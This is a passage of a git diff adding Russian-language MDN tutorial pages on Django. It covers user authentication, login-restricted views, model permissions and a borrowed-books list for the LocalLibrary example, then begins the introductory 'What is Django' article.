отправляет только сбросные электронные письма на адреса (пользователи), которые уже хранятся в его базе данных!</strong></p> + +<div class="note"> +<p><strong>Заметка</strong>: Система сброса пароля требует, чтобы ваш сайт поддерживал электронную почту, что выходит за рамки этой статьи, поэтому эта часть <strong>еще не будет работать.</strong> Чтобы разрешить тестирование, поместите следующую строку в конец файла settings.py. Это регистрирует любые письма, отправленные на консоль (чтобы вы могли скопировать ссылку на сброс пароля с консоли).</p> + +<pre class="brush: python notranslate">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' +</pre> + +<p>Для получения дополнительной информации см. <a href="https://docs.djangoproject.com/en/2.0/topics/email/">Отправка email</a> (Django docs).</p> +</div> + +<h2 id="Тестирование_проверки_подлинности_пользователей">Тестирование проверки подлинности пользователей</h2> + +<p>В этом разделе мы рассмотрим, что мы можем сделать, чтобы выборочно контролировать контент, который видят пользователи, на основе того, вошли ли они в систему или нет.</p> + +<h3 id="Тестирование_в_шаблонах">Тестирование в шаблонах</h3> + +<p>Вы можете получить информацию о текущем зарегистрированном пользователе в шаблонах с переменной шаблона \{{user}} (это добавляется в контекст шаблона по умолчанию при настройке проекта, как и в нашем скелете).</p> + +<p>Обычно вы сначала проверяете переменную шаблона \{{user.is_authenticated}}, чтобы определить, имеет ли пользователь право видеть конкретный контент. Чтобы продемонстрировать это, мы обновим нашу боковую панель, чтобы отобразить ссылку «Вход», если пользователь вышел из системы, и ссылку «Выход», если он вошёл в систему.</p> + +<p>Откройте базовый шаблон (/locallibrary/catalog/templates/base_generic.html) и скопируйте следующий текст в sidebar блок непосредственно перед тегом шаблона endblock.</p> + +<pre class="brush: python notranslate"> <ul class="sidebar-nav"> + + ... + + <strong>{% if user.is_authenticated %}</strong> + <li>User: <strong>\{{ user.get_username }}</strong></li> + <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li> + <strong>{% else %}</strong> + <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li> + <strong>{% endif %} </strong> + </ul></pre> + +<p>Как вы можете видеть, мы используем теги шаблона if-else-endif для условного отображения текста на основе того, является ли \{{user.is_authenticated}} истинным. Если пользователь аутентифицирован, мы знаем, что у нас есть действительный пользователь, поэтому мы вызываем \{{user.get_username}}, чтобы отобразить их имя.</p> + +<p>Мы создаем URL-адрес для входа и выхода из системы, используя тег шаблона URL-адреса и имена соответствующих конфигураций URLs. Также обратите внимание на то, как мы добавили <code>?next=\{{request.path}}</code> в конец URLs. Это означает, что следующий URL-адрес содержит адрес (URL) текущей страницы, в конце связанного URL-адреса. После того, как пользователь успешно выполнил вход в систему, представления будут использовать значение "<code>next</code>" чтобы перенаправить пользователя обратно на страницу, где они сначала нажали ссылку входа / выхода из системы.</p> + +<div class="note"> +<p><strong>Примечание</strong>: Попробуйте! Если вы находитесь на главной странице и вы нажимаете «Вход / Выход» на боковой панели, то после завершения операции вы должны вернуться на ту же страницу.</p> +</div> + +<h3 id="Тестирование_в_представлениях">Тестирование в представлениях</h3> + +<p>Если вы используете функциональные представления, самым простым способом ограничить доступ к вашим функциям является применение <code>login_required</code> декоратор к вашей функции просмотра, как показано ниже. Если пользователь вошел в систему, ваш код просмотра будет выполняться как обычно. Если пользователь не вошел в систему, это перенаправит URL-адрес входа, определенный в настройках проекта. (<code>settings.LOGIN_URL</code>), передав текущий абсолютный путь в качестве <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">next</span></font> параметра URL. Если пользователю удастся войти в систему, они будут возвращены на эту страницу, но на этот раз аутентифицированы.</p> + +<pre class="brush: python notranslate">from django.contrib.auth.decorators import login_required + +@login_required +def my_view(request): + ...</pre> + +<div class="note"> +<p><strong>Заметка:</strong> Вы можете сделать то же самое вручную, путём тестирования <code>request.user.is_authenticated</code>, но декоратор намного удобнее!</p> +</div> + +<p>Аналогичным образом, самый простой способ ограничить доступ к зарегистрированным пользователям в ваших представлениях на основе классов - это производные от <code>LoginRequiredMixin</code>. Вы должны объявить этот mixin сначала в списке суперкласса, перед классом основного представления.</p> + +<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin + +class MyView(LoginRequiredMixin, View): + ...</pre> + +<p>Это имеет такое же поведение при переадресации, что и <code>login_required</code> декоратор. Вы также можете указать альтернативное местоположение для перенаправления пользователя, если он не аутентифицирован (<code>login_url</code>), и имя параметра URL вместо "<code>next</code>" , чтобы вставить текущий абсолютный путь (<code>redirect_field_name</code>).</p> + +<pre class="brush: python notranslate">class MyView(LoginRequiredMixin, View): + login_url = '/login/' + redirect_field_name = 'redirect_to' +</pre> + +<p>Для получения дополнительной информации ознакомьтесь с <a href="https://docs.djangoproject.com/en/1.10/topics/auth/default/#limiting-access-to-logged-in-users">Django docs here</a>.</p> + +<h2 id="Пример_-_перечисление_книг_текущего_пользователя">Пример - перечисление книг текущего пользователя</h2> + +<p>Теперь, когда мы знаем, как ограничить страницу определенному пользователю, создайте представление о книгах, которые заимствовал текущий пользователь.</p> + +<p>К сожалению, у нас пока нет возможности пользователям использовать книги! Поэтому, прежде чем мы сможем создать список книг, мы сначала расширим <code>BookInstance</code> модель для поддержки концепции заимствования и использования приложения Django Admin для заимствования ряда книг нашему тестовому пользователю.</p> + +<h3 id="Модели">Модели</h3> + +<p>Прежде всего, мы должны предоставить пользователям возможность кредита на <code>BookInstance</code> (у нас уже есть <code>status</code> и <code>due_back</code> дата, но у нас пока нет связи между этой моделью и пользователем. Мы создадим его с помощью поля <code>ForeignKey</code> (один ко многим). Нам также нужен простой механизм для проверки того, просрочена ли заемная книга.</p> + +<p>Откройте <strong>catalog/models.py</strong>, и импортируйте модель <code>User</code> из <code>django.contrib.auth.models</code> (добавьте это чуть ниже предыдущей строки импорта в верхней части файла, так <code>User</code> доступен для последующего кода, что позволяет использовать его):</p> + +<pre class="brush: python notranslate">from django.contrib.auth.models import User +</pre> + +<p>Затем добавьте поле <code>borrower</code> в модель <code>BookInstance</code>:</p> + +<pre class="brush: python notranslate">borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True) +</pre> + +<p>Пока мы здесь, давайте добавим свойство, которое мы можем вызвать из наших шаблонов, чтобы указать, просрочен ли конкретный экземпляр книги. Хотя мы могли бы рассчитать это в самом шаблоне, использование свойства, как показано ниже, будет намного более эффективным. Добавьте это где-нибудь в верхней части файла:</p> + +<pre class="syntaxbox notranslate">from datetime import date</pre> + +<p>Теперь добавьте следующее определение свойства внутри класса BookInstance:</p> + +<pre class="brush: python notranslate">@property +def is_overdue(self): + if self.due_back and date.today() > self.due_back: + return True + return False</pre> + +<div class="note"> +<p><strong>Примечание.</strong> Сначала мы проверим, является ли <code>due_back</code> пустым, прежде чем проводить сравнение. Пустое поле <code>due_back</code> заставило Django выкидывать ошибку, а не показывать страницу: пустые значения не сопоставимы. Это не то, что мы хотели бы, чтобы наши пользователи испытывали!</p> +</div> + +<p>Теперь, когда мы обновили наши модели, нам нужно будет внести новые изменения в проект, а затем применить эти миграции:</p> + +<pre class="brush: bash notranslate">python3 manage.py makemigrations +python3 manage.py migrate +</pre> + +<h3 id="Admin">Admin</h3> + +<p>Теперь откройте каталог <strong>catalog/admin.py</strong>, и добавьте поле <code>borrower</code> в класс <code>BookInstanceAdmin</code> , как в <code>list_display</code> , так и в полях <code>fieldsets</code> , как показано ниже. Это сделает поле видимым в разделе Admin, так что мы можем при необходимости назначить <code>User</code> в <code>BookInstance</code>.</p> + +<pre class="brush: python notranslate">@admin.register(BookInstance) +class BookInstanceAdmin(admin.ModelAdmin): + list_display = ('book', 'status'<strong>, 'borrower'</strong>, 'due_back', 'id') + list_filter = ('status', 'due_back') + + fieldsets = ( + (None, { + 'fields': ('book','imprint', 'id') + }), + ('Availability', { + 'fields': ('status', 'due_back'<strong>,'borrower'</strong>) + }), + )</pre> + +<h3 id="Займите_несколько_книг">Займите несколько книг</h3> + +<p>Теперь, когда возможно кредитовать книги конкретному пользователю, зайдите и заработайте на нескольких записей в <code>BookInstance</code>. Установите <code>borrowed</code> поле вашему тестовому пользователю, сделайте <code>status</code> «В займе» и установите сроки оплаты как в будущем, так и в прошлом.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Мы не будем описывать процесс, так как вы уже знаете, как использовать Admin сайт!</p> +</div> + +<h3 id="Займ_в_представлении">Займ в представлении</h3> + +<p>Теперь мы добавим представление для получения списка всех книг, которые были предоставлены текущему пользователю. Мы будем использовать один и тот же общий класс, с которым мы знакомы, но на этот раз мы также будем импортировать и выводить из <code>LoginRequiredMixin</code>, так что только вошедший пользователь сможет вызвать это представление. Мы также решили объявить <code>template_name</code>, вместо того, чтобы использовать значение по умолчанию, потому что у нас может быть несколько разных списков записей BookInstance, с разными представлениями и шаблонами.</p> + +<p>Добавьте следующее в catalog/views.py:</p> + +<pre class="brush: python notranslate">from django.contrib.auth.mixins import LoginRequiredMixin + +class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): + """ + Generic class-based view listing books on loan to current user. + """ + model = BookInstance + template_name ='catalog/bookinstance_list_borrowed_user.html' + paginate_by = 10 + + def get_queryset(self): + return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre> + +<p>Чтобы ограничить наш запрос только объектами BookInstance для текущего пользователя, мы повторно реализуем <code>get_queryset()</code>, как показано выше. Обратите внимание, что "o" это сохраненный код для "on loan" и мы сортируем по дате <code>due_back</code>, чтобы сначала отображались самые старые элементы.</p> + +<h3 id="URL-адрес_для_заёмных_книг">URL-адрес для заёмных книг</h3> + +<p>Теперь откройте <strong>/catalog/urls.py</strong> и добавьте <code>url()</code> , указывая на приведённое выше представление (вы можете просто скопировать текст ниже в конец файла).</p> + +<pre class="brush: python notranslate">urlpatterns += [ + url(r'^mybooks/$', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'), +]</pre> + +<h3 id="Шаблон_для_заёмных_книг">Шаблон для заёмных книг</h3> + +<p>Теперь все, что нам нужно сделать для этой страницы, - это добавить шаблон. Сначала создайте файл шаблона <strong>/catalog/templates/catalog/bookinstance_list_borrowed_user.html</strong> и дайте ему следующее содержание:</p> + +<pre class="brush: python notranslate">{% extends "base_generic.html" %} + +{% block content %} + <h1>Borrowed books</h1> + + {% if bookinstance_list %} + <ul> + + {% for bookinst in bookinstance_list %} + <li class="{% if bookinst.is_overdue %}text-danger{% endif %}"> + <a href="{% url 'book-detail' bookinst.book.pk %}">\{{bookinst.book.title}}</a> (\{{ bookinst.due_back }}) + </li> + {% endfor %} + </ul> + + {% else %} + <p>There are no books borrowed.</p> + {% endif %} +{% endblock %}</pre> + +<p>Этот шаблон очень похож на тот, который мы создали ранее для объектов <code>Book</code> и <code>Author</code>. Единственное, что «новое» здесь, это то, что мы проверяем метод, который мы добавили в модель <code>(bookinst.is_overdue</code>) с целью использовать его для изменения цвета просроченных предметов.</p> + +<p>Когда сервер разработки запущен, вы должны теперь иметь возможность просматривать список для зарегистрированного пользователя в своем браузере по адресу <a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>. Попробуйте это, когда ваш пользователь войдет в систему и выйдет из системы (во втором случае вы должны быть перенаправлены на страницу входа в систему).</p> + +<h3 id="Добавить_список_на_боковую_панель">Добавить список на боковую панель</h3> + +<p>Последний шаг - добавить ссылку на эту новую страницу в sidebar. Мы поместим это в тот же раздел, где мы покажем другую информацию для зарегистрированного пользователя.</p> + +<p>Откройте базовый шаблон (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) и добавьте выделенную строку из sidebar, как показано на рисунке.</p> + +<pre class="brush: python notranslate"> <ul class="sidebar-nav"> + {% if user.is_authenticated %} + <li>User: \{{ user.get_username }}</li> +<strong> <li><a href="{% url 'my-borrowed' %}">My Borrowed</a></li></strong> + <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li> + {% else %} + <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li> + {% endif %} + </ul> +</pre> + +<h3 id="На_что_это_похоже">На что это похоже?</h3> + +<p>Когда любой пользователь войдет в систему, он будет видеть ссылку «Мной позаимствовано (<em>My Borrowed)</em>» в боковой колонке, и список книг, показанных ниже (первая книга не имеет установленной даты, что является ошибкой, которую мы надеемся исправить в более позднем уроке!).</p> + +<p><img alt="Library - borrowed books by user" src="https://mdn.mozillademos.org/files/14105/library_borrowed_by_user.png" style="border-style: solid; border-width: 1px; display: block; height: 215px; margin: 0px auto; width: 530px;"></p> + +<h2 id="Права_доступа">Права доступа</h2> + +<p>Права доступа связаны с моделями и определяют операции, которые могут выполняться на экземпляре модели самим пользователем, у которого есть разрешение. По умолчанию Django автоматически дает <em>добавить</em>, <em>изменить</em>, и <em>удалить</em> разрешения у всех моделей, которые позволяют пользователям с правом доступа выполнять связанные действия через администратора сайта. Вы можете определить свои собственные разрешения для моделей и предоставить их конкретным пользователям. Вы также можете изменить разрешения, связанные с разными экземплярами одной и той же модели. Тестирование разрешений в представлениях и шаблонах очень похоже на тестирование по статусу аутентификации (фактически, тестирование прав доступа также проверяет аутентификацию).</p> + +<h3 id="Модели_2">Модели</h3> + +<p>Определение разрешений выполняется в разделе моделей "<code>class Meta</code>" , используется <code>permissions</code> поле. Вы можете указать столько разрешений, сколько необходимо в кортеже, причем каждое разрешение определяется во вложенном кортеже, содержащем имя разрешения и отображаемое значение разрешения. Например, мы можем определить разрешение, позволяющее пользователю отметить, что книга была возвращена, как показано здесь:</p> + +<pre class="brush: python notranslate">class BookInstance(models.Model): + ... + class Meta: + ... +<strong> permissions = (("can_mark_returned", "Set book as returned"),) </strong> </pre> + +<p>Затем мы могли бы назначить разрешение группе «Библиотекарь» (Librarian) на сайте администратора.</p> + +<p>Откройте <strong>catalog/models.py</strong>, и добавьте разрешение, как показано выше. Вам нужно будет повторно выполнить миграцию (вызвав <code>python3 manage.py makemigrations</code> и <code>python3 manage.py migrate</code>) для надлежащего обновления базы данных.</p> + +<h3 id="Шаблоны">Шаблоны</h3> + +<p>Разрешения текущего пользователя хранятся в переменной шаблона, называемой <code>\{{ perms }}</code>. Вы можете проверить, имеет ли текущий пользователь определенное разрешение, используя конкретное имя переменной в соответствующем приложении «Django» - например, <code>\{{ perms.catalog.can_mark_returned }}</code> будет <code>True</code> если у пользователя есть это разрешение, а <code>False</code> - в противном случае. Обычно мы проверяем разрешение с использованием шаблона <code>{% if %}</code>, как показано в:</p> + +<pre class="brush: python notranslate">{% if perms.catalog.<code>can_mark_returned</code> %} + <!-- We can mark a BookInstance as returned. --> + <!-- Perhaps add code to link to a "book return" view here. --> +{% endif %} +</pre> + +<h3 id="Представления">Представления</h3> + +<p>Разрешения можно проверить в представлении функции, используя <code>permission_required</code> декоратор или в представлении на основе классов, используя <code>PermissionRequiredMixin</code>. шаблон и поведение такие же, как для аутентификации входа в систему, хотя, конечно, вы можете разумно добавить несколько разрешений.</p> + +<p>Функция в представлении с декоратором:</p> + +<pre class="brush: python notranslate">from django.contrib.auth.decorators import permission_required + +@permission_required('catalog.<code>can_mark_returned</code>') +@permission_required('catalog.<code>can_edit</code>') +def my_view(request): + ...</pre> + +<p>Требуется разрешение mixin для представлений на основе классов.</p> + +<pre class="brush: python notranslate">from django.contrib.auth.mixins import PermissionRequiredMixin + +class MyView(PermissionRequiredMixin, View): + permission_required = 'catalog.<code>can_mark_returned</code>' + # Or multiple permissions + permission_required = ('catalog.<code>can_mark_returned</code>', 'catalog.can_edit') + # Note that 'catalog.can_edit' is just an example + # the catalog application doesn't have such permission!</pre> + +<h3 id="Пример">Пример</h3> + +<p>Мы не будем обновлять LocalLibrary здесь; возможно, в следующем уроке!</p> + +<h2 id="Испытайте_себя">Испытайте себя</h2> + +<p> Ранее в этой статье мы показали вам, как создать страницу для текущего пользователя, в которой перечислены книги, которые они заимствовали. Теперь задача состоит в том, чтобы создать аналогичную страницу, которая видна только для библиотекарей, которая отображает <em>все</em> книги, которые были заимствованы, и которая показывает имя каждого заемщика.</p> + +<p> Вы должны следовать той же схеме, что и для другого представления. Главное отличие состоит в том, что вам нужно ограничить представление только библиотекарями. Вы можете сделать это на основе того, является ли пользователь сотрудником (декоратор функции: <code>staff_member_required</code>, переменная шаблона: <code>user.is_staff</code>) но мы рекомендуем вам вместо этого использовать <code>can_mark_returned</code> разрешения и <code>PermissionRequiredMixin</code>, как описано в предыдущем разделе.</p> + +<div class="warning"> +<p><strong>Важно</strong>: Не забудьте использовать вашего суперпользователя для тестирования на основе разрешений (проверки разрешений всегда возвращают true для суперпользователей, даже если разрешение еще не определено!). Вместо этого создайте пользователя-библиотекаря и добавьте необходимые возможности.</p> +</div> + +<p> Когда вы закончите, ваша страница должна выглядеть примерно, как на скриншоте ниже.</p> + +<p><img alt="All borrowed books, restricted to librarian" src="https://mdn.mozillademos.org/files/14115/library_borrowed_all.png" style="border-style: solid; border-width: 1px; display: block; height: 283px; margin: 0px auto; width: 500px;"></p> + +<ul> +</ul> + +<h2 id="Подводим_итоги">Подводим итоги</h2> + +<p> Отличная работа - теперь вы создали веб-сайт, на котором участники библиотеки могут входить в систему и просматривать собственный контент, и библиотекари (с правом доступа) могут просматривать все заемные книги с их читатетелями. На данный момент мы все еще просто просматриваем контент, но те же принципы и методы используются, когда вы хотите начать изменять и добавлять данные.</p> + +<p> В следующей статье мы рассмотрим, как вы можете использовать формы Django для сбора пользовательского ввода, а затем начнём изменять некоторые из наших сохраненных данных.</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/auth/">User authentication in Django</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/auth/default//">Using the (default) Django authentication system</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/intro/#decorating-class-based-views">Introduction to class-based views > Decorating class-based views</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/введение/index.html b/files/ru/learn/server-side/django/введение/index.html new file mode 100644 index 0000000000..1eaffac0cf --- /dev/null +++ b/files/ru/learn/server-side/django/введение/index.html @@ -0,0 +1,259 @@ +--- +title: Django введение +slug: Learn/Server-side/Django/Введение +tags: + - Python + - Вступление + - Джанго + - Начинающим + - Серверное программирование +translation_of: Learn/Server-side/Django/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div> + +<p class="summary">В первой статье о Django мы отвечаем на вопрос «Что есть Django?» и даём обзор того, что делает его особенным. Мы опишем основные функции, в том числе некоторые из расширенных функций, которые у нас не будет времени подробно рассмотреть в этом модуле. Мы также покажем вам некоторые основные строительные блоки приложения Django (хотя на данный момент у вас еще не будет среды разработки для тестирования).</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Базовая компьютерная грамотность. Общее понимание <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">server-side website programming</a>, и в частности, механики <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">client-server interactions in websites</a>.</td> + </tr> + <tr> + <th scope="row">Задача:</th> + <td>Узнать, что такое Django, какие функции он предоставляет, и основные строительные блоки приложения Django.</td> + </tr> + </tbody> +</table> + +<h2 id="Что_есть_Django">Что есть Django?</h2> + +<p>Django - это высокоуровневый Python веб-фреймворк, который позволяет быстро создавать безопасные и поддерживаемые веб-сайты. Созданный опытными разработчиками, Django берет на себя большую часть хлопот веб-разработки, поэтому вы можете сосредоточиться на написании своего веб-приложения без необходимости изобретать велосипед . Он бесплатный и с открытым исходным кодом, имеет активное процветающее сообщество, отличную документацию и множество вариантов как бесплатной, так и платной поддержки.</p> + +<p>Django помогает писать программное обеспечение, которое будет:</p> + +<dl> + <dt>Полным</dt> + <dd>Django следует философии «Батарейки в комплекте» и предоставляет почти все, что разработчики могут захотеть сделать «из коробки». Поскольку все, что вам нужно, является частью единого «продукта», все это безупречно работает вместе, соответствует последовательным принципам проектирования, и имеет обширную и <a href="https://docs.djangoproject.com/en/3.0/">актуальную документацию</a>.</dd> + <dt>Разносторонним</dt> + <dd>Django может быть (и был) использован для создания практически любого типа веб-сайтов - от систем управления контентом и wiki до социальных сетей и новостных сайтов. Он может работать с любой клиентской средой и может доставлять контент практически в любом формате (включая HTML, RSS-каналы, JSON, XML и т.д.). Сайт, который вы сейчас читаете, создан с помощью Django!</dd> + <dd>Хотя оDjango предоставляет решения практически для любой функциональности, которая вам может понадобиться (например, для нескольких популярных баз данных, шаблонизаторов и т. д.), внутренне он также может быть расширен сторонними компонентами, если это необходимо.</dd> + <dt>Безопасным</dt> + <dd>Django помогает разработчикам избежать многих распространенных ошибок безопасности, предоставляя фреймворк, разработанный чтобы «делать правильные вещи» для автоматической защиты сайта. Например, Django предоставляет безопасный способ управления учетными записями пользователей и паролями, избегая распространенных ошибок, таких как размещение информации о сеансе в файлы cookie, где она уязвима (вместо этого файлы cookie содержат только ключ, а фактические данные хранятся в базе данных) или непосредственное хранение паролей. вместо хэша пароля.<br> + <br> + Хэш пароля - это значение фиксированной длины, созданное путем обработки пароля через <em><a href="https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%85%D0%B5%D1%88-%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F">криптографическую хэш-функцию</a>. </em>Django может проверить правильность введенного пароля, пропустив его через хэш-функцию и сравнив вывод с сохраненным значением хэша. Благодаря «одностороннему» характеру функции, даже если сохраненное хэш-значение скомпрометировано, злоумышленнику будет сложно определить исходный пароль.<br> + <br> + Django, по умолчанию, обеспечивает защиту от многих уязвимостей, включая SQL-инъекцию, межсайтовый скриптинг, подделку межсайтовых запросов и кликджекинг (см. <a href="/ru/docs/Web/Security">Website security</a> для получения дополнительной информации об этих атаках).</dd> + <dt>Масштабируемым</dt> + <dd>Django использует компонентную “<a href="https://en.wikipedia.org/wiki/Shared_nothing_architecture">shared-nothing</a>” архитектуру (каждая её часть независима от других и, следовательно, может быть заменена, либо изменена). Четкое разделение между частями означает, что Django может масштабироваться при увеличении трафика путем добавления оборудования на любом уровне: серверы кэширования, серверы баз данных или серверы приложений. Одни из самых загруженных сайтов успешно масштабировали Django (например, Instagram и Disqus).</dd> + <dt>Удобным в сопровождении</dt> + <dd>Код Django написан с использованием принципов и шаблонов проектирования, которые поощряют создание поддерживаемого и повторно используемого кода. В частности, в нем используется принцип «Don't Repeat Yourself» (DRY, не повторяйся), поэтому нет ненужного дублирования, что сокращает объем кода. Django также способствует группированию связанных функциональных возможностей в повторно используемые «приложения» и, на более низком уровне, группирует связанный код в модули (в соответствии с шаблоном Model View Controller (MVC)).</dd> + <dt>Переносным</dt> + <dd>Django написан на Python, который работает на многих платформах. Это означает, что вы не привязаны к какой-либо конкретной серверной платформе и можете запускать приложения на многих версиях Linux, Windows и Mac OS X. Кроме того, Django хорошо поддерживается многими веб-хостингами, которые часто предоставляют определенную инфраструктуру и документацию для размещения сайтов Django.</dd> +</dl> + +<h2 id="Как_он_появился">Как он появился?</h2> + +<p>Django был разработан в период с 2003 по 2005 год командой, которая занималась созданием и обслуживанием газетных веб-сайтов. После создания нескольких сайтов, команда начала повторно использовать множество общего кода и шаблонов проектирования. Этот общий код эволюционировал в веб-фреймворк "Django", как open-source проект в Июле 2005 года.</p> + +<p>Django продолжает расти и улучшаться с момента его первого релиза (1.0) в сентябре 2008 года до недавно выпущенной версии 2.0 (2017). В каждой версии добавлены новые функциональные возможности и исправлены ошибки, начиная от поддержки новых типов баз данных, шаблонизаторов и кэширования, до добавления «общих» функций и классов (уменьшающих объем кода, который разработчики должны писать для ряда задач).</p> + +<div class="note"> +<p><strong>Заметка</strong>: Ознакомтесь с <a href="https://docs.djangoproject.com/en/stable/releases/">примечаниями к версии </a> на сайте <span style="line-height: 1.5;">Django, чтобы увидеть что изменилось в последних версиях, и как много работы было проделано чтобы улучшить Django.</span></p> +</div> + +<p>Django - это процветающий совместный проект с открытым исходным кодом, в котором заняты многие тысячи пользователей и участников. Несмотря на то, что у него все еще есть некоторые особенности, которые отражают его происхождение, Django превратился в универсальную среду, способную разрабатывать веб-сайты любого типа.</p> + +<h2 id="Насколько_популярен_Django">Насколько популярен Django?</h2> + +<p>Нет никаких доступных и окончательных оценок популярности серверных фреймворков (хотя сайты, подобные Hot Framework, пытаются оценить популярность, используя такие механизмы, как подсчет количества проектов на GitHub и вопросов на StackOverflow для каждой платформы). Лучший вопрос - "Достаточно ли Django популярен, чтобы избежать проблем непопулярных платформ?". Продолжает ли он развиваться? Можете ли вы получить помощь, если вам это нужно? Найдёте ли вы работу, если вы изучите Django?</p> + +<p>Основываясь на количестве крупных сайтов, которые используют Django, количестве участников и количестве людей, предоставляющих как бесплатную, так и платную поддержку, можно полагать, что Django - популярный фреймворк.</p> + +<p>Django используют такие крупные сайты, как Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, и Open Stack (источник: <a href="https://www.djangoproject.com/">домашняя страница Django</a>).</p> + +<h2 id="Является_ли_Django_гибким">Является ли Django гибким?</h2> + +<p>Веб-фрейморки часто можно поделить на "гибкие" и "негибкие".</p> + +<p>Негибкие - это те, у которых есть "правильный путь" для решения какой-либо конкретной задачи. Они часто поддерживают быстрое развёртывание в <em>определенной области</em> (решение проблем определенного типа), потому что правильный способ сделать что-либо обычно хорошо понимается и хорошо документируется. Однако они могут быть менее гибкими при решении проблем за пределами их основной сферы и, как правило, предлагают меньше вариантов того, какие компоненты и подходы они могут использовать.</p> + +<p>Напротив, у гибких фреймворков гораздо меньше ограничений на лучший способ склеивания компонентов для достижения цели или даже того, какие компоненты следует использовать. Они облегчают разработчикам использование наиболее подходящих инструментов для выполнения конкретной задачи, хотя и за счет того, что вам нужно самим найти эти компоненты.</p> + +<p>Django «умеренно гибкий» и, следовательно, обеспечивает «лучшее из обоих миров». Он предоставляет набор компонентов для обработки большинства задач веб-разработки и один (или два) предпочтительных способа их использования. Однако такая архитектура Django означает, что вы обычно можете выбирать из нескольких различных опций или при необходимости добавлять поддержку для совершенно новых.</p> + +<h2 id="Как_выглядит_код_Django">Как выглядит код Django?</h2> + +<p>В традиционном информационом веб-сайте, веб-приложение ожидает запросов HTTP от веб-браузера (или другого клиента). Когда запрос получен, приложение разрабатывает то, что необходимо на основе URL-адреса и, возможно, информации в <code>POST</code> или в <code>GET</code> запросах. В зависимости от того, что требуется, он может читать или записывать информацию из базы данных или выполнять другие задачи, необходимые для удовлетворения запроса. Приложение затем вернет ответ веб-браузеру, часто динамически создавая страницу HTML для отображения браузера, вставляя полученные данные в HTML шаблон.</p> + +<p>Веб-приложения написанные на Django обычно группируют код, который обрабатывает каждый из этих шагов, в отдельные файлы:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<ul> + <li><strong>URLs: </strong>Хотя можно обрабатывать запросы с каждого URL-адреса с помощью одной функции, гораздо удобнее писать отдельную функцию для обработки каждого ресурса. URL-mapper используется для перенаправления HTTP-запросов в соответствующее представление на основе URL-адреса запроса. URL-mapper также может извлекать данные из URL-адреса в соответствии с заданным шаблоном и передавать их в соответствующую функцию в виде аргументов.</li> + <li><strong>View:</strong> Представление (view) - это функция обработчика запросов, которая получает HTTP-запросы и возвращает ответы. View имеет доступ к данным через модели (необходимым для удовлетворения запросов и делегирования ответа в шаблоны).</li> + <li><strong>Models:</strong> Модели представляют собой объекты Python, которые определяют структуру данных приложения и предоставляют механизмы для управления (добавления, изменения, удаления) и выполнения запросов в базу данных.</li> + <li><strong>Templates:</strong> Template (шаблон) - это текстовый файл определяющий структуру или разметку страницы (например HTML страницы), с полями для подстановки используемыми для представления актуального содержимого. <em>View</em> может динамически создавать HTML страницы, используя HTML шаблоны и заполняя их данными из модели (<em>model).</em> Шаблон может быть использован для определения структуры файлов любых типов, не обязательно HTML.</li> +</ul> + +<div class="note"> +<p><strong>Заметка</strong>: Django реализует уровневую архитектуру "Model View Template (MVT)". Она имеет много общего с более известной архитектурой <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller</a>. </p> +</div> + +<ul> +</ul> + +<p>Далее разделы дадут Вам понимание того как выглядят основные части Django (мы их изучим более детально чуть позже на курсе, когда будет настраивать окружение разработчика). </p> + +<h3 id="Отправка_запроса_в_правильное_view_urls.py">Отправка запроса в правильное view (urls.py)</h3> + +<p>Сопоставитель URL-адресов обычно хранится в файле <strong>urls.py</strong>. В примере ниже сопоставитель (<code>urlpatterns</code>) определяет список соответствия между определенными URL-<em>шаблонами </em>и соотвествующими функциями отображения (view). Если полученный HTTP запрос подходит под определенный шаблон ( такой как <code>r'^$'</code>, ниже), то будет вызвана ассоциированная функция отображения<strong> </strong>(такая как <code>views.index</code>) и передана в запрос.</p> + +<pre class="notranslate">urlpatterns = [ + <strong>url(r'^$', views.index),</strong> + url(r'^([0-9]+)/$', views.best), +] +</pre> + +<div class="note"> +<p><strong>Note</strong>: Немного Python:</p> + +<ul> + <li>Объект <code>urlpatterns</code> является списком функций <code>url()</code>. В Python, списки определяются с помощью квадратных скобок. Элементы разделены запятыми и могут содержать <a href="https://docs.python.org/2/faq/design.html#why-does-python-allow-commas-at-the-end-of-lists-and-tuples">необязательную завершающую запятую</a>. Например: <code>[item1, item2, item3,]</code>.</li> + <li>Странный 